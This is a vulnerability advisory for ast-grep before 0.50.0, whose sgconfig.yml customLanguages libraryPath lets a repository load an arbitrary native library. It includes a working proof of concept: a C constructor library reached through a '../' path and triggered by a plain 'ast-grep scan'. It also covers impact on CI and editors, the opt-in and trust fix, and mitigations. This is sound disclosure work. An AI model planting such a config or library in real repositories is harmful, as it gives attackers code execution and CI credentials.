Description
ast-grep is a Rust tool for structural code search, lint and rewrite. Besides
its built-in languages, it can load extra tree-sitter grammars that a project
declares under customLanguages in sgconfig.yml. Each entry names a native
shared library through libraryPath, and ast-grep dlopens that library to
get the parser.
Before 0.50.0, the path came straight from the config file and was joined to
the project directory with no confinement. to_registration at 0.45.3
(crates/dynamic/src/custom_lang.rs:42-51):
fn to_registration(
name: String,
custom_lang: CustomLang,
base: &Path,
) -> Result<Registration, DynamicLangError> {
let lib_path = match custom_lang.library_path {
LibraryPath::Single(path) => path,
LibraryPath::Platform(mut map) => {
let target = target_triple::TARGET;
map
.remove(target)
.ok_or(DynamicLangError::NotConfigured(target))?
}
};
let path = base.join(lib_path);
base is the project directory. Path::join with an absolute path replaces
the base entirely, and .. components walk out of it. The result goes to the
dynamic loader unchanged (crates/dynamic/src/lib.rs:182):
// lib must be retained!!
let (_lib, lang) = unsafe { load_ts_language(reg.lib_path, reg.symbol)? };
There is no canonicalization, no containment check, and no user opt-in for loading executable plugins from the workspace.
The path traversal makes it worse, but it is not the root of the problem. A
library inside the project directory is just as dangerous. Loading a shared
library runs its constructors, so whoever writes sgconfig.yml gets native
code execution in the ast-grep process. And sgconfig.yml is discovered
automatically from the working directory: running ast-grep scan in a
freshly cloned repository is enough. Linting code you did not write is the
tool's main use case, so a read-only lint step ends up running machine code
that the repository supplies.
Reproduction
From the advisory, verified against the ast-grep 0.45.3 release binary.
The attacker's repository, with the library placed one level outside the
project to show the ../ escape:
mkdir -p proj evil && cd proj
cat > ../evil/evil.c <<'EOF'
#include <stdio.h>
__attribute__((constructor))
static void on_load(void) {
FILE *f = fopen("/tmp/sg_pwned_marker", "w");
if (f) { fputs("native code executed\n", f); fclose(f); }
}
EOF
gcc -shared -fPIC ../evil/evil.c -o ../evil/evil.so
cat > sgconfig.yml <<'EOF'
customLanguages:
evil:
libraryPath: ../evil/evil.so
extensions: [evil]
EOF
echo "int x = 1;" > t.evil
The victim runs a plain scan, with no flags:
$ ast-grep scan
Error: Cannot load custom language library
...
/tmp/sgpoc/evil/evil.so: undefined symbol: tree_sitter_evil
$ cat /tmp/sg_pwned_marker
native code executed
The error shows up only after the payload has already run. dlsym fails
because the library exports no tree_sitter_evil symbol, but dlopen has
already called the constructor by then. A real attack would export the
symbol too (or wrap a real grammar), and the scan would succeed with no
visible sign at all. An absolute libraryPath, for example pointing at a
file dropped by some other download, loads the same way.
Impact
Arbitrary native code execution as the victim user (CWE-94), through a config-controlled library path (CWE-22) that ast-grep loads and calls into (CWE-822). It triggers whenever someone runs ast-grep inside a repository an attacker controls:
- Developers cloning a project and running
ast-grep scanorast-grep runto look around or review a change. - CI jobs that lint pull requests from forks with ast-grep. The code runs with the job's credentials and tokens.
- Editor setups that start
ast-grep lspin the opened workspace, since the language server reads the same project config.
The advisory scores it CVSS 3.1 9.6
(CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H): the payload ships over the
network inside a repository, the only user interaction is running the linter,
and the code it runs is not limited to ast-grep's own scope.
Solution
Fixed in 0.50.0. Instead of trying to confine libraryPath, the fix makes
loading native custom languages opt-in, so an untrusted project cannot load
anything by default. It landed in three steps:
-
ast-grep/ast-grep#2960 moved custom-language registration until after CLI parsing and blocked native libraries unless the user passed an explicit flag.
--helpand shell completion generation also stopped loading them. -
ast-grep/ast-grep#2971 replaced that flag with
--custom-languages allow|ignore, withignoreas the default. When a project declares custom languages that get ignored, the CLI warns instead of failing:Warning: custom languages are ignored because native libraries can execute malicious code. Review the project before using `--custom-languages allow`. -
ast-grep/ast-grep#2972 added
trustandrevoke.trustasks for confirmation in an interactive terminal (and refuses to run without one), then stores the canonical path of the config file in a per-user trust store under the platform config directory. Later runs in that project load its custom languages without the flag;--custom-languages ignoreoverrides that for one run, andrevokeremoves the entry.
The policy resolution in crates/cli/src/custom_language.rs:73 at 0.50.0:
match policy {
Some(CustomLanguagePolicy::Trust) => {
eprintln!(
"WARNING: native custom languages execute code with your permissions. \
ast-grep remembers the configuration path, not its contents."
);
confirm_trust(config_path)?;
set_trusted(config_path, true)?;
Ok(CustomLanguageAction::Load)
}
Some(CustomLanguagePolicy::Revoke) => {
set_trusted(config_path, false)?;
Ok(CustomLanguageAction::Ignore)
}
None if is_trusted(config_path) => Ok(CustomLanguageAction::Load),
Some(CustomLanguagePolicy::Allow) => Ok(CustomLanguageAction::Load),
Some(CustomLanguagePolicy::Ignore) | None => Ok(CustomLanguageAction::Ignore),
}
As that warning says, trust is tied to the config path, not its content. If
you trust a project and later pull changes to its sgconfig.yml, the new
libraryPath loads without a prompt. Trust only checkouts whose config you
control, and do not use allow or trust in CI jobs that run on pull
requests from forks.
Upgrade to 0.50.0 or later. If you cannot upgrade, do not run ast-grep in a
repository you have not reviewed, and check sgconfig.yml for a
customLanguages section before you run it. In CI, run ast-grep with an
explicit --config that points to a trusted file outside the checkout.
Timeline
- 2026-09: Reported privately through the repository's GitHub security advisory (GHSA-xx6h-xcfw-vf5j), found while scanning popular repositories with my static analyzer.
- 2026-09-23: Opt-in for custom language libraries merged as ast-grep/ast-grep#2960.
- 2026-09-28:
--custom-languages allow|ignorepolicy merged as ast-grep/ast-grep#2971. - 2026-10-04:
trustandrevokepolicies merged as ast-grep/ast-grep#2972. - 2026-10-09: ast-grep 0.50.0 released with the fix.
- 2026-10-13: Advisory published. ast-grep before 0.50.0 is affected; 0.50.0 is patched.
References
- GHSA-xx6h-xcfw-vf5j - ast-grep: customLanguages libraryPath loads native code outside the project
- ast-grep/ast-grep - crates/dynamic/src/custom_lang.rs at 0.45.3
- ast-grep/ast-grep - crates/dynamic/src/lib.rs at 0.45.3
- ast-grep/ast-grep#2960 - fix: require opt-in for custom language libraries
- ast-grep/ast-grep#2971 - feat(cli): add custom language loading policy
- ast-grep/ast-grep#2972 - feat(cli): add trust and revoke custom language policies
- ast-grep/ast-grep - crates/cli/src/custom_language.rs at 0.50.0
- ast-grep 0.50.0 release
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-94: Improper Control of Generation of Code
- CWE-822: Untrusted Pointer Dereference